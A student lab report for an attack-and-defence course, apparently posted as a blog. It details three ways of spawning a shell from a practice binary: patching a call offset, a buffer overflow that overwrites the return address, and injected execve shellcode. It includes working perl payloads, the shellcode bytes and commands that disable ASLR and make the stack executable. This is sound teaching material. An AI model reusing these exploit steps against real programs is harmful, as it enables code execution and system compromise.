20192427 2021-2022-2《网络与系统攻防技术》实验一

20192427 2021-2022-2 《网络与系统攻防技术》实验一

1,实验内容

1.1 实验要求

  1. 实践的对象:是一个名为pwn1的linux可执行文件。
  2. 该程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  3. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实验实践的目标就是想办法运行这个代码片段。本次实验将用两种方法运行这个代码片段,然后注入运行Shellcode。

1.2 实践内容

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

2,实验过程

2.1 直接修改程序机器指令,改变程序执行流程。

  1. 使用objdump指令对pwn20192427进行反汇编
objdump -d pwn20192427 | more


如上图所示:

  • call 8048491 汇编指令:
    该指令调用位于8048491处的foo函数
    对应机器指令是 e8 d7ffffff
    e8有跳转的意思,解释e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29。
  • main函数中调用foo函数:
    对应机器指令是 e8 d7ffffff
  • d7ffffff为foo函数的地址偏移量,将其改为getshell地址的偏移量,就可以运行getshell函数。
  • 要调用getshell函数,就需要将d7ffffff改成getshell函数地址对应的补码,也就是得到getshsell-80484ba对应的补码即可。
  • 使用windows计算器,计算47d-4ba可以得到补码c3ffffff

因此,将call指令的目标地址从d7ffffff改为c3ffffff即可

2,进行修改操作:
使用vim打开pwn20192427

vi pwn20192427

输入如下,将显示模式转换为16进制模式

:%!xxd

查找要修改的内容

/e8d7

查找结果如下

将其中的d7修改为c3
修改结果如下

转换16进制为原格式

:%!xxd -r

保存并退出

:wq

再次使用objdump查看修改结果
结果如下图

运行修改过后的代码,得到shell提示符#
如下图

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

1,通过objdump反汇编再次了解一下pwn20192427程序的汇编代码
如下图

在上图中可以发现,在main函数调用的foo函数中只给输入数据分配了0×1c(28字节)的空间,现在需要确认输入字符串的几个字符可以覆盖掉返回地址。

==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

2,确认输入字符串哪几个字符会覆盖返回地址

这里需要看的是eip的值,此处为0x35353535,35是5的ASCII码值,我们输入总计36位,可以看出此处超出28位的5555溢出到了EIP中

3,再进一步确认究竟是哪私网的数据溢出到EIP中,我们输入1111111222222233333334444444412345678

4,由上图可知,eip寄存器中值为4321,为小端字节序,观察可知此处EIP的值为0x34333231,分别对应4321的ascii码,最后是29~32位上的1234覆盖到对战的返回地址EIP的位置上,如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
5,构造输入字符串
因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值
因此,先生成如下字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

注释: 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

结果如下:

同时使用

xxd input

来查看input文件中的内容是不是符号预期。
6,再将input通过管道符“|”当作pwn20192427的输入,然后进去getshell

(cat input;cat) | ./pwn20192427


7,或者不生成文件直接输入

(perl -e 'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn20192427

2.3 注入Shellcode并执行

2.3.1准备一段shellcode

1,首先了解shellcode

  • shellcode是一段机器指令
  • 这段机器指令目的是威力获取一个交互式的shell(就像linux的shell或者像window下的cmd.exe)
    -以下实践使用该文章中生成的shellcode,如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.3.2准备工作

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

2.3.3构造要注入的patload

1,Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
    注释因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

2,buf够放这个shellcode了
结构为:nops+shellcode+retaddr;

  • nop一为是了填充,二是作为“着陆区/滑行区”。
  • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

3,构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4,使用此命令构建字符串并保存到input_shellcode中,不确定的字节用 12 34h填充

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

5,打开终端注入以下的字符串:

(cat input_shellcode;cat) | ./pwn20192427

6,打开另一终端,用下命令找pwn20192427的进程号:

ps -ef | grep pwn20192427

得到进程号:2753
7,启动gdb调试这个进程

 gdb
(gdb) attach 2753

然后反汇编foo函数,查看返回指令(ret)的地址
并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行

8,待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址

info r esp

9,使用如下的指令查看该地址附近数据

x/16x 0xffffd31c //看到 01020304了,再往前找
x/16x 0xffffd300 //看到9090310c了,再往前一点
x/16x 0xffffd2fc
x/16x 0xffffd17c


10,从0xffffd15c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

(cat input_shellcode;cat) | ./pwn20192427

3,问题及其解决方案

  • 问题一 gdb出现报错 :报信息Detaching after fork from child process ***
    解决方法:网上搜索

    但是,问题还是没有解决,最后重新启动虚拟机才没出现问题

  • 问题二

解决方法:

通过同学给的链接,Debian版本的进行下载,链接如下:

https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html

  • 问题三
    获取注入的字符串的地址出现错误
    问题估计是准备工作出现问题
    解决方法:

    将如上命令重新输入一遍,同学说是,没有关闭地址随机化

4,实验感想

此次实验主要是缓冲区溢出攻击,实验的目的是主要使我指导缓冲区溢出的基本概念,实验过程中大部分实验步骤都是参照刘老师的博客,以及云班课的视频去做的。
做完实验会感觉到自己很多地方不够仔细,对汇编语言了解微乎其微。并且此次的shellcode是由老师在实验报告中提供给大家的,对我的帮助很大,同时提醒我还需要对shellcode的许多相关知识进行进一步的了解

posted @ 2022-03-26 20:07  20192427李睿智  阅读(75)  评论(0编辑  收藏  举报